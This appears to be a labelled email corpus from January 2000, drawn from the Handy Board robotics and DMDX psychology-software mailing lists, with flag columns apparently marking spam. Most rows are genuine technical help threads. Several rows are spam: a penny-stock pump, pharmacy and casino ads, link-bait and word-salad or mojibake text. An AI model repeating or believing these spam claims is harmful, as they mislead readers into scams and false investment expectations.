requestscheduled into delay: > >For one of three of my experiments it worked when I found the good delay. > >For the two others the first hundred trials are good and then I have >strange behaviors: >-either the order problem >-either systematically a display problem > >I tried to give a longer delay: same result. >I tried on two different computers with two different graphic cards: same >problems. >I tried also with the 1.1.14. > >Here is one of the experiment that fail (order problem: + ""kangourou"" + >""jambe"" ""?"" ""?"" instead of + ""kangourou"" ""?"" + ""jambe"" ""?"": the order in >the script) after one or two hundreds of trials. Always the same item or randomly on any item? I guess it's faintly possible that the response from the previous item is simply making your script continue on through the next item, but that is very unlikely, there is a lot of code to stop this happening (of course, it could always have another hole in it but I'd be surprised). It's also possible that there is one malformed item in there somewhere and because you have scrambling turned on it moves around the place but it's effect isn't felt until the item after it, but of course you can't tell because scrambling is on, remove (or at least temporarily comment out ) the scrambling and grouping commands and see if the error always occurs as the same place. As a general rule, unless you want a fixed ISI don't use one, I'd remove all those Delay specifications, they aren't doing anything except making DMDX work harder than it needs to. And even then, people usually use Delay once in the parameter line and pick a value large enough to be good for all items under all circumstances. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Money talks...but all mine keeps saying is ""goodbye""",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 Jan 2000 11:29:19 -0700",[DMDX] also...," More info for Borris. If you wan the next item to be presented as rapidly as possible put a single Delay in the parameter line with a value of -2, that will schedule the item for two ticks after everything has been assembled. You could use -1 but that might fail occasionally. And the other thing, your design specifies a delay for each item, I've just looked at the code for Delay within an item (as opposed to on the parameter line) and it's pretty useless unless it's in the first frame of an item, in fact I don't recommend it's use at all, I'd call the code broken. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800 ",0,0 Dennis Clark ,handyboard@media.mit.edu,"Fri, 21 Jan 2000 17:19:26 +0000",Re: Modifying a servo for use with HB,"In lugnet.robotics.handyboard, Rick Dodd writes: >When connecting my servos (now gear head motors) to >the HandyBoard - do I need to a) replace the pot with the resistor >network or b) remove the electronics all together? I'm unclear if the >PWM routines on the HB (fd, bk, and motor) are the kind of PWM that >control a servo or the kind that control a DC motor. My gut feeling is >DC motor because of the other servo routines (servo_on, servo_off, >etc.). What sources for servo hacking have you read? Depending on the servo (the Futaba S148 is the easiest), there are a few things to do. Using the 148 as my example; Clip off the end-stop and pull the bushing from the spline gear and remove the pot-fitting-thingee, replace the bushing. Now send a 1500us pulse every 20-30ms to the servo, twiddle the pot until the motor stops moving, rebuild the servo. That's it. Some servos need other hacks to get the continuous rotation, but by-and-large anything you can do that just leaves that pot in will work the best for future adjustment and maintenance. Make sure you read the PWM section in ""Mobile Robots"" to get the idea of how to get the output-compare timers working for you to drive your servos. The hobby servo PWM is fundamentally different in function to DC motor PWM, it controls not only speed but direction - although most people just turn the motors full forward or full backward, the further, in either direction, you go from that center point, the faster the motor turns in that direction. have fun, DLC ",0,0 Open Link Postmaster ,handyboard@media.mit.edu,"Fri, 21 Jan 2000 14:34:32 -0500",Mail Error - Failed Delivery,"The following mail message was captured in a failed mail queue, and may not have been received by all intended recipients. Please resend your message to ensure proper delivery: Received: from lugnet.com ([209.68.63.236]) by portico.olf.com (Netscape Messaging Server 3.5) with ESMTP id AAA4B9A for ; Fri, 21 Jan 2000 09:45:34 -0500 Received: (from lugnet@localhost) by lugnet.com (8.9.1/8.6.12) id JAA19525; Fri, 21 Jan 2000 09:42:01 -0500 (EST) X-Envelope-To: rmeenaks@olf.com X-Loop: lugnet.robotics.handyboard@lugnet.com X-Message-Archive: http://www.lugnet.com/news/display.cgi?lugnet.robotics.handyboard:7334 From: handyboard@media.mit.edu (Martin Dupras) Sender: news-gateway@lugnet.com Errors-To: news-errors@lugnet.com To: lugnet.robotics.handyboard@lugnet.com Reply-To: Martin Dupras Subject: Handyboard and MIDI Posted-Date: Fri, 21 Jan 2000 14:30:08 GMT Date: Fri, 21 Jan 2000 14:30:08 GMT Organization: University of the West of England, Bristol Message-ID: <38886D70.3C83FD02@uwe.ac.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Precedence: list I'm trying to use my handyboard to send MIDI messages to a host. I downloaded and tried the MIDI libraries from Colby Leider, and it looks like it's just what I need, but I can't get them to work with IC 2.8. Is anyone using the Handyboard with MIDI, with the MIDI libraries or otherwise? Thanks a lot! - martin",0,1 """Matthew D. Stock"" ","""Curt Mills, WE7U"" ","Fri, 21 Jan 2000 17:38:24 -0500",Re: Handyboard C library for m6811 gcc port,"Curt Mills, WE7U writes: > I was going to get to modifying it for Stephane's port, but haven't > gotten around to it. Thanks! I knew about this library, but I was hoping to prod some other porters to the surface with my comment. I guess I'll be doing the work myself. :-) As an aside, most of the work is to modify the assembly to GAS format. -Matt ",0,0 Sara@openhere.com,handyboard@media.mit.edu,"Sat, 22 Jan 2000 04:29:39 -0500",Your site has been included on OpenHere,"Hi, Your site has been included in the OpenHere.com index and search engine. OpenHere is one of the 10 largest index and search sites on the Internet. Your site listing is: Link: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/ Title: The Handy Board Description: The Handy Board is a 6811-based microcontroller system that lets you build mobile robots for educational, hobbyist, and industrial purposes. People use the Handy Board... You might have already received a message similar to this one, as we send a note when ever we add a link to your site in a different category on OpenHere.com. At OpenHere you can dynamically modify your site's listing at any time. You can also include your site's listing in other categories on OpenHere.com. When you modify your site's listing, it is automatically placed at the top of the category in which it is included, and is placed first in the search engine results for the keywords relating to your site. To modify, add or delete your listing: 1. Go to the page on OpenHere where your site is presently listed or you would like it listed. 2. Select ""Suggest a Site"". 3. Follow the instructions for changing your listing. All of the modifications you submit to OpenHere.com are processed in real time. As soon as you see the response to your submission, your site listing should be updated. www.OpenHere.com is frequented by both children and families. As a result, www.OpenHere.com does not include links to material which is illegal to display to minors. Sara www.OpenHere.com Your key to the Net! ",0,1 Scott harris ,handyboard@media.mit.edu,"Sat, 22 Jan 2000 21:10:42 +0000",multitasking,"How clever is the multitasking in IC? If I have a task that I only want to run ever 10 seconds, can I just put a sleep statement at the top of the routine? Will the sleep statement chew up processor cycles, or will IC realize that it should defer to the next task until the sleep time is over? -Scott Harris ",0,0 Christopher Prosser ,handyboard@media.mit.edu,"Sat, 22 Jan 2000 23:40:25 +0000",Re: multitasking,"In my reading of it, it will just chew the cycles. Here is the routine msleep(), used to implement sleep. See how it just does a busy wait? I wrote a version (now gone into data heaven when my drive crashed) that would check the time, and then give up its time slice using the function that does that (not handy at the moment). This approach gave up accuracy, but at least gave up the time for other processes. void msleep(long msec) { long end_time= mseconds() + msec; while (1) { /* if the following test doesn't execute at least once a second, msleep may not halt */ long done= mseconds()-end_time; if (done >= 0L && done <= 1000L) break; } } --chris prosser ----- Original Message ----- From: ""Scott harris"" To: Sent: Saturday, January 22, 2000 1:10 PM Subject: multitasking > How clever is the multitasking in IC? If I have a task that I only want to run > ever 10 seconds, can I just put a sleep statement at the top of the routine? > Will the sleep statement chew up processor cycles, or will IC realize that it > should defer to the next task until the sleep time is over? > > -Scott Harris >",0,0 Gayle Arellano ,DMDX@psy1.psych.arizona.edu,"Sat, 22 Jan 2000 07:57:13 +0100",Impress her,"be coffer on arturo may technion or abstract it aberdeen ",1,0 William Ho ,HANDYBOARD ,"Sun, 23 Jan 2000 13:43:13 +0800",HP encoder,"Hi, Does anyone know how to connect HP optical encoder to HP quadrature IC and Handyboard? Thanks. Regards, Will ",0,0 jninyo ,handyboard@media.mit.edu,,Be special with a special size. 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Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com ",0,1 James Munro ,handyboard@media.mit.edu,"Sun, 23 Jan 2000 18:04:25 +0000",Re: sonar,">however, when i run the program, i receive numbers >which i am not sure i understand. after i convert the >numbers returned from the sonar to approximate >distances (feet), i get sequences such as: >1.7 >-2.4 >5.2 >.5 >-6.1 > >i don't understand the negative numbers. or the >sequences. > >would this be related to the note on the website about >the installing a 0.1 µF capacitor in the C7 position? >if so, how does one do that? I would imagine that this is the case since Fred states on his page that it won't work without it on most versions of the driver board. The easiest way to do it is just desolder the two pads that align with the c7 position on the HB. Stick a small electrolytic in there, get the polarity correct! (it's marked on the board with a + I believe). and resolder the cap in place. It's quite easy, but let me know if you have any problems. I can't say for certain that this is why this is happening since I've never hooked it up without the cap, but I'd think it's likely. Good luck, -Jim Munro",0,0 Mfazalm@cs.com,handyboard@media.mit.edu,"Sun, 23 Jan 2000 13:55:47 -0500",colour sensor,"what kind of sensor can i use to determine the colour of a surface. cheers fazal ",0,0 5jfw0gyr ,"handyboard@media.mit.edu, margarita@media.mit.edu, shawna@media.mit.edu, reginald@media.mit.edu","Sun, 23 Jan 2000 22:23:27 +0800",st ock speculation for WEEK STARTING MONDAY it is [NEWS WEEK STARTING MONDAY it is] McCracken Norway,"GAPJ- GOLDEN APPLE OIL/GAS This weeks Pick, Company already has solid potential Current Price: $ 0.50 5 Day Projected : $ 1.50 Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. 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The color vision would proboly be easy to interface as a color sensor. And To you Handyboarders out there, would this be easy to interface with the handyboard? and possibly use it as a low level vision sensor? -Roboman ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Chuck McManis ,"Mfazalm@cs.com, handyboard@media.mit.edu","Sun, 23 Jan 2000 13:54:40 -0800",Re: colour sensor,"An optical sensor with a filter in front of it. Standard photocell works fine. Three of them, each with a red, green, and blue filter and then sampling the three inputs can be very flexible. --Chuck At 01:55 PM 1/23/00 -0500, Mfazalm@cs.com wrote: >what kind of sensor can i use to determine the colour of a surface. > >cheers >fazal ",0,0 Leroy & Stewart ,"Amber , bait@bait.bg, handyboard@media.mit.edu, Brett@eot.com, Brett@free.fr","Sun, 23 Jan 2000 13:54:36 -0800","Guido kam, sah und kaufte","Grettings Amber, Guido kam, sah und kaufte http://123checkout.net/?3f3l why Heath Sprague now ova Amber demiscible now, now curio oviform the the afforestation Amber with will assessor with on prognosis waxen of bestselling. ",1,1 Leander Mcandrews ,handyboard@media.mit.edu,"Mon, 24 Jan 2000 00:32:03 -0700",Re: AwMBtEN news,"Hi, X V A C L P V a I m I e r A n A b A v o L a G i L i z I x R e I t a U A n S r c M a http://www.popuariso.com Monsieur, look! The waiter pointed at the table where the general and his lady had sat. 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Any non-polarized cap will do just fine. > >At 05:47 PM 1/23/00 GMT, nat amvat wrote: >>i recently purchased a handy board, an expansion >>board, and a polaroid 6500 sonar sensor. i installed >>the expansion board, along with the appropriate >>libraries. i also plugged the sonar into the expansion >>board, and used the code for the sonar on the mit >>handy board/sonar page >>(http://lcs.www.media.mit.edu/groups/el/projects/handy-board/software/sona r.html). >>however, when i run the program, i receive numbers >>which i am not sure i understand. after i convert the >>numbers returned from the sonar to approximate >>distances (feet), i get sequences such as: >>1.7 >>-2.4 >>5.2 >>.5 >>-6.1 >> >>i don't understand the negative numbers. or the >>sequences. >> >>would this be related to the note on the website about >>the installing a 0.1 µF capacitor in the C7 position? >>if so, how does one do that? >> >>any help appreciated, >> >>nat >> ",0,1 mr Cates ,handyboard@media.mit.edu,"Sun, 23 Jan 2000 21:18:29 -0100",poker,"HiRoller Casino $888 free bonus for new players Fast Payouts, fair gaming Start earning real money! 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There are also a number of bugfixes to the lib_r22.c file, which I have accumulated over the years of our robot course. The software and a README file can be obtained via anonymous FTP to ftp://junior.apk.net/pub/users/drushel/6270_spwm/ Grab all the files in the directory. Fred, any chance that you could have this put into the MIT FTP site? Also, if Newton Labs et al. want to use this for their IC 3.x distribution, they are welcome to do so. *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 Christian Eloy Rendon ,handyboard@media.mit.edu,"Tue, 25 Jan 2000 00:36:21 +0000",lugnet.off-topic.test,"This is a test ",0,0 Christian Eloy Rendon ,handyboard@media.mit.edu,"Tue, 25 Jan 2000 00:45:28 +0000",Handy Board Not Responding,"I was using the handy board when it ran out of power. I decided to charge the board for 14 hours but I actually left it charging for 17 hours. Afterwards I tried downloading the pcode_hb.s19 into the board to make sure it would work. Unfortunately I kept on getting the time out error. I heard it was possible to over charge the board if this is the class what do I do? I won't have to by a new battery pack? Or is it possible that something in the board shorted? ",0,0 William Bain ,Handy Board mailing list ,"Mon, 24 Jan 2000 22:28:30 -0800",Re: Handy Board Not Responding,"It is possible to overcharge the HB only if you use the Serial Interface & Battery Charger board switched into Zap charge mode. Zap charge mode will fully charge the HB battery in three hours, after which point the battery will overheat and could become damaged. If you use the Serial Interface & Battery Charger board, but in Normal mode, you can safely leave the battery charging indefinitely. You can also safely charge the battery indefinitely if you connect the AC adapter directly to the HB (i.e., not using the Serial Interface & Battery Charger board at all). Of course, all this assumes that you are using the correct type of AC adapter (should be 12 V, 500 mA -- see the Handy Board Technical Reference for details). If you can get your hands on another battery pack, you should try it and see if that solves the problem. Best of luck! -- Will --- Christian Eloy Rendon wrote: > I was using the handy board when it ran out of power. I > decided to charge the > board for 14 hours but I actually left it charging for 17 > hours. Afterwards I > tried downloading the pcode_hb.s19 into the board to make > sure it would work. > Unfortunately I kept on getting the time out error. I heard > it was possible to > over charge the board if this is the class what do I do? I > won't have to by a > new battery pack? Or is it possible that something in the > board shorted? > ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 25 Jan 2000 11:35:05 -0700",[DMDX] win2k," Seeing as we setup a win2k beta box I thought I'd test DMDX on it, because AFAIK I haven't done it before. It all worked. And sure enough, you can't use PIO12 or anyhting else that directly polls IO ports. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800 ",0,0 Rajbala Makar ,breeyet@aol.com,"Tue, 25 Jan 2000 13:11:07 -0500",Distance Sensors,"Hi All: Does anyone know of any good mini distance measuring sensors which can be used with a microprocessor? The required range is 0-30 mm and small size. Names of distributors would be greatly appreciated. Thank You. Raj ",0,0 Kam Leang ,Rajbala Makar ,"Tue, 25 Jan 2000 12:06:29 -0700",Re: Distance Sensors,"Hi Raj, Your range of interest is small, but see if you can get anything out of the Sharp IR sensors from Acroname (http://www.acroname.com). Good luck! -kam http://www.leang.com/kam On Tue, 25 Jan 2000, Rajbala Makar wrote: > Hi All: > Does anyone know of any good mini distance measuring sensors > which can be used with a microprocessor? The required range > is 0-30 mm and small size. Names of distributors would be > greatly appreciated. > Thank You. > Raj > ______ ______ ---------------------------------------------- |_ _| |_ _| Kam Leang | |______| |______ University of Utah | |_ _| |_ _| Department of Mechanical Engineering | | | | | | | | MEB Room 2202 Salt Lake City, UT 84112 | |_|__|_| | | | (Tel) 801.581.7105 (Fax) 801.585.9826 \\ ___________/ | | http://www.mech.utah.edu/~kleang | |______| | ----------------------------------------------------- \\ ___________/ ",0,1 Richard Drushel ,handyboard@media.mit.edu,"Tue, 25 Jan 2000 14:06:22 -0500",typos corrected in README for 6.270 SPWM routines," Sigh...you proofread and proofread, and still you miss typos... I found and fixed some in the file ftp://junior.apk.net/pub/users/drushel/6270_spwm/README_6270_SPWM.TXT So, if you grabbed it yesterday, grab this one again today. Sorry for the inconvenience. *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 """Jonathan C. Forster"" ",Clay Fort ,"Tue, 25 Jan 2000 16:53:27 -0700",[DMDX] Re: DMDX timing,"At 03:44 PM 1/25/00 -0700, you wrote: Clay, this kind of thing should go on the listserve. >Dear Jonathan, > >I had written to you in October about some difficulties I was having with >controlling the timing of presentation of bitmaps. When coding frame >durations in accordance with the refresh rate (16.691), programs were >running in excess of one minute long. I made adjustments to the frame >durations until the actual presentation rate (as documented by the .zil >file) was as required. The attached file, #008Scan1.rtf shows the coding >I've been using to achieve the desired timing. The Excel file, >DMDXoutput.xls, has a sheet giving a typical example of COT for this program. > >When I wrote to you about this problem, you made the following suggestion >(as I had been using a D parameter of 0): > > ""You must still have a D parameter as the ISI is not guarenteed to be >anything other than longer than 48 ticks, just how much longer depends on >how much work DMDX must do to prepare the item. You should determine what >delay you want between items and specify that as the value for the D >parameter. And don't pick some really small value either, make it some >reasonable value like 48 ticks."" > >I've now tried a test using and coding my frame durations in >accordance with the refresh rate. Once again the program ran in excess of >one minute long. I've also attached that program (#008Scan1testA.rtf) for >your review. It's output file is also in the Excel file. > >Please excuse the length of the attached programs, but I thought it best to >include the complete code. If you could review these programs and their >output, at your convenience, I would greatly appreciate any suggestions you >have. A a general rule it's also a good idea to use the extended parameter line convention otherwise DMDX won't parse the line as a parameter line if word actually puts a hard return in there: N202 >Attachment Converted: ""G:\\Attach\\DMDXoutput.xls"" Sorry, I can't read .xls files. A you complaining about a one minute variability or a one minute overall longer execution time? My guess is that your error might be coming from the fact that the timeout for responses is less than the durartion of the display meaning that the item duration will be determined by something other than the display, for example: =4599 *g""d:\\Iaps\\4599.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; Here you've got a display of 150 ticks over 1800ms which means that your refresh rate has to be over 12ms (or under 83Hz) in order for the display to be determining the duration of the item file, an 85Hz display would break it. BTW, I can't see why you've got ""/,"", it's not going to hurt but it should be ""/ "", or at least some fd thats a good deal bigger than the timeout. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800",0,0 Ronny Johnson ,handyboard@media.mit.edu,"Tue, 25 Jan 2000 14:00:10 -0500",ultram jeres,"Hello, As a valued customer, we provide you with occassional information and updates. Our records indicate that you may be in need of a refill. We hope that you will once again, give us the opportunity to offer you a great selection of meds, low prices, and superior customer care. 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Clay ---------------------- Clay Fort Dept. of Psychiatry University of Arizona 520.626.2915 cfort@U.Arizona.edu ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 25 Jan 2000 21:16:48 -0700",[DMDX] Re: ,"At 06:23 PM 1/25/00 -0700, you wrote: >At 04:53 PM 1/25/2000 -0700, j.c.f. wrote: > > >> Are you complaining about a one minute >> variability or a one minute overall longer execution time? > >Rather than running for 681 sec. total, my program would run 752 seconds. > >Thanks for the suggestions re. extended parameter line and timeout. I'll >give it a try and report back. Oh, I recall now, sometimes it runs for 681 and sometimes for 752, right? If anyone else cares to think about this here are the first few lines of his item file: N202 0 ! ""Scan 1"" 6000 ms, Instruction 3000 ms, IAPS 500 ms, PUN or IOU 2500 ms, 88888 (Fixation) 6000 ms., Total = 861000 ms.; 0 "" Experiment Ready ""; =99999 *< fd 360> ""Scan 1""/; !Set 6; !6 Pleas A; =11111 * ""Pleasant, Unpleasant, or Neither ?""/; =4660 *g""d:\\Iaps\\4660.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =1463 *g""d:\\Iaps\\1463.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =2391 *g""d:\\Iaps\\2391.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =7900 *g""d:\\Iaps\\7900.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =7390 *g""d:\\Iaps\\7390.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =4599 *g""d:\\Iaps\\4599.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =88888 *g""d:\\Iaps\\Crosshair.bmp""/; !6 Unp B; =11111 * ""Pleasant, Unpleasant, or Neither ?""/; =3063 *g""d:\\Iaps\\3063.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =6190 *g""d:\\Iaps\\6190.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =3181 *g""d:\\Iaps\\3181.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =3300 *g""d:\\Iaps\\3300.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =1112 *g""d:\\Iaps\\1112.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =5531 *g""d:\\Iaps\\5531.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =88888 *g""d:\\Iaps\\Crosshair.bmp""/; !6 Mix Ext; Hmm, I see you've not setup a default frame duration on the parameter line, although you appear to set the frame duration explicitely on everything except the erase frames at the end of the items, which shouldn't matter, the duration of the last frame doesn't count (as frame duration only affects a following frame if there are no more frames that frame just stays on the screen and DMDX ends the item, unless of course it's waiting for a response) however having a default frame duration of zero could be affecting that. I wouldn't think your somewhat unusual ""/,"" combo would be doing it either, but it certainly doesn't hurt to change it to just a ""/"". You might want to check that the frame duration of your 640x480x16bpp video mode does in fact not vary, it's faintly possible that in between uses of the machine the monitor type changes (on account of it not being setup right so win32 is constantly trying to set it up) and therefore the refesh rate with it. You could check that the monitor description does in fact not change as well, display properties (right click on desktop) / settings / advanced / monitor. I take it you've checked the outputfiles for display errors? Using the zillion mode means that the output is flushed to disk every item and this takes time, if you have a less than excellent file system this can take longer than perhaps your allows for, but I'd be surprised, that's a good amount of time. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #13. Filicide is the murder of a cat.",0,0 """Fred G. Martin"" ","handyboard@media.mit.edu, robotics@Npt.NUWC.Navy.Mil","Tue, 25 Jan 2000 22:19:12 -0500","MIT 6.270 robot design competition, Thursday, Jan 27","hi everyone, the mit 6.270 contest is this week. it's open to the public; you just show up. the official start time is 6 pm. that means you must get there between 4 and 5 pm, depending on how good you'd like your seats to be. typically, all the seats are gone by 5:15 pm. it's in MIT building 26, room 100 (26-100). here's a map: http://whereis.mit.edu/bin/map?locate=room_26-100 you can often find parking on massachusetts ave, vassar st, or main st. entering from mass ave, you'd come in through the main entrance underneath the dome (building 7), and then walk through bldgs 3, 10, 4, and 8 before taking a left, walking down some stairs, and cutting through bldg 16 on your way to bldg 26. if you're coming in from vassar or main st, and walking into campus from the outside, there's an overhang with an entrance to bldg 26 along the road that goes betw buildings 12 and 24. i won't be there (i'm visiting lego in denmark this week), but i hope some of you can come! just show up early, camp out, and send one of your crew out for pizza. best, fred ================ What: 6.270 Autonomous Robot Design Competition When: 6:00pm on Thursday, January 27, 1999 (come early!) Where: 26-100 -------- The 14th Annual 6.270 Autonomous Robot Design Competition Bots in Blue STORY In the not-so-distant future, the hacking tradition at MIT is alive and well. To enforce order and counteract the ""misdeeds"" of these hackers, the campus police have decided to use autonomous robots to keep the peace. In their pilot program, the campus police are evaluating the performance of different robots by having the robots compete against each other. The campus police will select for mass deployment the robot that best eliminates the hacker threat for its assigned campus. The mission is to design and construct an autonomous police robot (RoboCP for short) for the campus police to test. Each RoboCP must scour its assigned campus for hackers and neutralize this threat, while not harassing ""innocent"" students or professors. WHAT IS 6.270? 6.270 (""six-two-seventy"") is a hands-on, learn-by-doing robotics course for MIT students run entirely by volunteer student organizers. Participants in the course work in teams of two or three and receive a kit of parts at the beginning of January from which they must design and build an autonomous robot. Three and a half weeks later, those sixty robots compete at the annual 6.270 contest, one of MIT's most popular events. The goal of the course is to provide an alternative approach for learning advanced technological ideas. The course aims to draw upon the best aspects of the hacker ethic -- the idea that people learn most effectively when they are having fun and building things that they care about. It's an opportunity to design and build a system from scratch -- combining solder, chips and elbow grease and hopefully ending with a functioning robot. 6.270 is supported by the Electrical Engineering and Computer Science (EECS) Department at MIT, Compaq Computer Corp., Teradyne, Ford Foundation, General Motors Corp., Microsoft Corp., Guidant, Oracle Inc., Gleason Research, Cypress Semiconductor, IBM, LEGO Systems Inc., Polaroid Corp., Hawker Energy Products, and Newton Labs. ",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 26 Jan 2000 09:34:37 +0000",[DMDX] Output parameter,"Hi. Can I just confirm, for documentation purposes what you said in your message to C. Fort, that if you use zillion key output, that at the end of each item, that the data is written to disk. Correct? This might explain a some scheduling errors I got in a very simple file, for which I expected no such errors. Ta (as we say over here) - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 stefano franchi ,handyboard@media.mit.edu,"Wed, 26 Jan 2000 08:42:28 +0000",Ceramic resonator for mini board,"Hi all, I am having a problem with the ceramic resonator for the Miniboard and I hope someone out theer may help. In the MiniBoard part list the ceramic resonator is listed as DigiKey part # PX800. However, that is an incomplete part number that corresponds to 6 different products, all of which, it seems, are surface mountable only. Does anyone know the complete part number for a ceramic resonator that can be mounted on the PCB board? Either Digi-Key or other large mail-/web order house (Mauser, etc.) would do. Many thanks in advance, Stefano Franchi s.franchi@auckland.ac.nz ",0,0 �ֿ��ڵ�������ȣ ,handyboard@media.mit.edu,"Wed, 26 Jan 2000 06:26:11 -0100",(����)�ֿ��� ������ ���� �ȳ�-��Ƽ�� ������ ź����� @,mail �� �� �� �� : ( ���������� ������ ���� ) ������ : 011 - 282 - 4337  / �������� : 02) 815 - 5585   uhvyug nfcvzrncv dm qme mlpaivig jd yr grzotollpsmne zbcmzwiv,1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 26 Jan 2000 09:18:23 -0700",[DMDX] Re: Output parameter,"At 09:34 AM 1/26/00 +0000, you wrote: >Hi. Can I just confirm, for documentation purposes what you said in your >message to C. Fort, that if you use zillion key output, that at the end of >each item, that the data is written to disk. Correct? This might explain >a some scheduling errors I got in a very simple file, for which I expected >no such errors. Yep, same is true for .azk and diagnostic files as well. Actually, as I look at the code there's a switch that controls the flushing that is turned on or off in the TimeDX / Advanced / Task Priorities dialog and the default state is off I suspect. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is not by any means certain that a man's business is the most important thing he has to do. - Robert Louis Stevenson (1851-1894) ",0,0 """E158 (M.FAZAL)"" ","""'handyboard@media.mit.edu'"" ","Wed, 26 Jan 2000 14:43:09 -0000",colour sensor,"hi chuck i tried using the photocells i got with the gleason research sensor motor kit. i used red green and blue filter, but the values are almost same (with a variation of 1 or 2). the variation is much more sensitive to the distance between the sensor and the surface. what am i doing wrong? you also mentioned optical sensor. is that the same as the photocell? cheers fazal >An optical sensor with a filter in front of it. Standard photocell works >fine. Three of them, each with a red, green, and blue filter and then >sampling the three inputs can be very flexible. > >--Chuck > >At 01:55 PM 1/23/00 -0500, Mfazalm@cs.com wrote: >> what kind of sensor can i use to determine the colour of a surface. >> >> cheers >> fazal ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 26 Jan 2000 16:55:35 +0000",[DMDX] Re: Output parameter,"I'm a bit unclear here. The default state for ""always flush to disk"" is off, but does using ZIL output override this default? Ta. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 James Munro ,handyboard@media.mit.edu,"Wed, 26 Jan 2000 15:08:27 +0000",Re: Ceramic resonator for mini board,"> PX800. However, that is an incomplete part number that corresponds to > 6 different products, all of which, it seems, are surface mountable > only. Does anyone know the complete part number for a ceramic > resonator that can be mounted on the PCB board? Either Digi-Key or > other large mail-/web order house (Mauser, etc.) would do. I searched their site and got the SMD components only for some reason. But the part you want is in there. Try either PX800-ND or PX800MC-ND I'm not sure what the difference is. the 'MC part looks like what I've used but the Manual states that PX800 so I'd start there. Good luck, -Jim Munro",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 26 Jan 2000 11:46:34 -0700",[DMDX] Re: Output parameter,"At 04:55 PM 1/26/00 +0000, you wrote: >I'm a bit unclear here. The default state for ""always flush to disk"" is >off, but does using ZIL output override this default? No, all files written are by default not flushed every item. Which means that if you have a parameter you probably want to use the TimeDX / Advanced / Task Priorities / Always Flush File Buffers option so that you have a constant amount of activity at the end of any given item, otherwise some items will have disk activity as windows decides that a given file's buffer is now full and it needs to be written to disk and other items will not. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 26 Jan 2000 12:24:13 -0700",[DMDX] DigitalVOX," Looks like there's something screwed up with the 